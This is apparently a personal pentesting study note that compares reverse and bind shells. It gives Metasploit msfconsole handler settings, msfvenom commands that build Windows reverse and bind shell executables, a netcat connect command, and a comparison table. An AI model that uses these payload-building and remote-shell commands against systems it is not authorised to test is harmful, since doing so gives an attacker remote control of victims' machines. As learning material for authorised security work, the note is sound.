Monday, July 21, 2025 2:51 PM

🔁 1. Reverse Shell

🧩 How it works:

- **Target machine connects back** to the attacker.
- **Attacker waits/listens** for the connection.

🛡️ Why use it?

- **Bypasses firewalls** because outgoing connections are usually allowed.
- Works better in **real-world networks**.

🔧 Example Workflow:

1. Attacker sets up a listener:

   ```
   msfconsole
   use exploit/multi/handler
   set payload windows/meterpreter/reverse_tcp
   set LHOST 192.168.1.10
   set LPORT 4444
   exploit
   ```

2. Target runs a payload:

   ```
   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > shell.exe
   ```

👉 **Control flows from the victim to the attacker.**

🔗 2. Bind Shell

🧩 How it works:

- **Target machine opens a port** and waits.
- **Attacker connects to that port** to gain control.

🛡️ Why use it?

- Easier in **open network** or **internal pentests**.
- Doesn't require attacker to have a public IP.

🔧 Example Workflow:

1. Generate bind shell payload:

   ```
   msfvenom -p windows/shell_bind_tcp RHOST=192.168.1.100 RPORT=5555 -f exe > bindshell.exe
   ```

2. Run the payload on the target.
3. Attacker connects to it:

   ```
   nc 192.168.1.100 5555
   ```

👉 **Control flows from the attacker to the victim.**

🔍 Key Differences Between Bind vs Reverse Shell

Feature	Bind Shell	Reverse Shell

Who initiates	Attacker connects to victim	Victim connects to attacker
Firewall	Often blocked by victim's firewall	Usually allowed (outgoing connection)
Attacker IP	Can be private or dynamic	Often needs a **public/static IP**
Target Role	Target opens port, waits	Target actively connects back
Stealth	Less stealthy	More stealthy (better for real attacks)